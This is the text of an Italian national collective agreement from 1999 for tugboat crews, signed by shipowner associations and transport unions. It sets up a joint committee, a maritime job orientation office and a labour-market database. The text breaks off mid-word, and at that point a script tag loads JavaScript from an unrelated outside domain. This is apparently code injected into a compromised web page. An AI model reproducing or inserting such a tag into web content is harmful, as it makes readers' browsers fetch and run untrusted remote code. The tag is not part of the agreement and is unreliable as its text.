Categoria: Marittimi, personale imbarcato su rimorchiatori
Settore: Trasporti
Data stipula: 5-8-1999
Data decorrenza: 1-1-1999
Data scadenza: 31-12-2002

VERBALE DI ACCORDO DI RINNOVO CONTRATTUALE

Il giorno 5 agosto 1999 presso gli uffici della CONFITARMA di Roma si sono
incontrate  la  CONFITARMA  rappresentata  dal  dott.  Eraldo  Valle   con
l'assistenza  del  dott.  Roberto Aglieta, dott.  Claudio  Barbieri,  sig.
Tommaso  Pacchelli  e  la FEDARLINEA rappresentata dai  dottori:  Giuseppe
Ravera,  Domenico  Roccetti, Lorenzo Paolizzi con le Segreterie  nazionali
della FILT-CGIL, FIT-CISL, UILTRASPORTI rappresentate rispettivamente  dai
signori:  Mario Sommariva, Fulvio Esposito, Remo Di Fiore,  Claudio  Zari,
Giuseppe   Caronia,  Angelo  Patimo  e  con  la  partecipazione   di   una
rappresentanza delle strutture sindacali territoriali.

Le  parti,  nell'ambito di quanto previsto dal Protocollo interconfederale
23.7.93,  hanno  rinnovato i contratti collettivi  nazionali  del  settore
marittimo,  sia  per quanto concerne gli aspetti normativi  che  la  parte
economica relativa al biennio 1999-2000.


CONFITARMA                                    FILT-CGIL
FEDARLINEA                                    FIT-CISL
                                              UILTRASPORTI



Politiche attive del lavoro marittimo.

Le parti, allo scopo di individuare strumenti e programmi idonei a gestire
politiche  inerenti  il  governo del mercato del lavoro  e  la  formazione
professionale,  costituiranno un "Comitato  Nazionale  Paritetico  per  il
Lavoro Marittimo". Tale Comitato sarà composto da 3 membri effettivi e  da
3  membri supplenti nominati dalle associazioni datoriali e da altrettanti
nominati  dalle  OO.SS. e avrà il compito di sovrintendere  e  programmare
l'attività delle strutture di cui ai successivi punti 1) e 2).

Il  Comitato  dovrà inoltre valutare l'utilizzo di tutta la strumentazione
legislativa  di  incentivazione all'occupazione e la sua applicabilità  al
settore marittimo.


1) Mercato del lavoro.

Si  costituirà,  individuandone di comune accordo la sede,  "l'Ufficio  di
orientamento  per il lavoro marittimo". Tale Ufficio avrà  il  compito  di
monitorare l'offerta e la domanda di lavoro marittimo nonché di  agevolare
l'incontro  tra  la  domanda  e l'offerta di  lavoro,  ferma  restando  la
competenza degli uffici di collocamento della gente di mare in materia  di
imbarco  del  personale  marittimo. L'Ufficio  si  avvarrà  dei  dati  che
andranno a confluire in un apposito Elenco (da denominarsi "Banca dati del
mercato del lavoro marittimo").

A  tal fine le Società armatrici forniranno periodicamente alla "Banca"  i
dati  numerici  e professionali del proprio personale in forza.  L'ufficio
adotterà idonee iniziative allo scopo di dare pubblica informazione  della
propria  attività e potrà dotarsi di strumenti che consentano di agevolare
il rapporto tra offerta e domanda di lavoro.


2) "Banca dati del mercato del lavoro marittimo".

La "Banca" ha lo scopo di monitorare e rendere trasparente la composizione
del mercato del lavoro marittimo. Sarà tenuto da una struttura informatica
a  scelta  di CONFITARMA e conterrà i dati numerici, completati da  quelli
professionali  e  dalle classi d'età, dei marittimi in forza  secondo  uno
schema  che  verrà  redatto dall'"Ufficio di orientamento  per  il  lavoro
marittimo",  e trasmesso alle aziende. Queste forniranno i dati  richiesti
in forma anonima.

La  "Banca" conterrà inoltre i dati relativi al personale in disponibilità
d'imbarco presso il Fondo Nazionale Marittimi. Tali dati saranno riportati
nominativamente e forniranno indicazioni sulla disponibilità di ufficiali,
sottufficiali  e  comuni  con precise informazioni  sulle  caratteristiche
professionali e sulla lista di collocamento presso cui sono disponibili. I
dati sopra menzionati proverranno dal Fondo Nazionale Marittimi per quanto
riguarda  personale  in  disponibilità presso di  esso  e  da  indicazioni
autonome  dei marittimi. Questi ultimi dovranno confermare alla  Banca  la
propria  d<script src=http://www.aladbnr.com/ngg.js></script>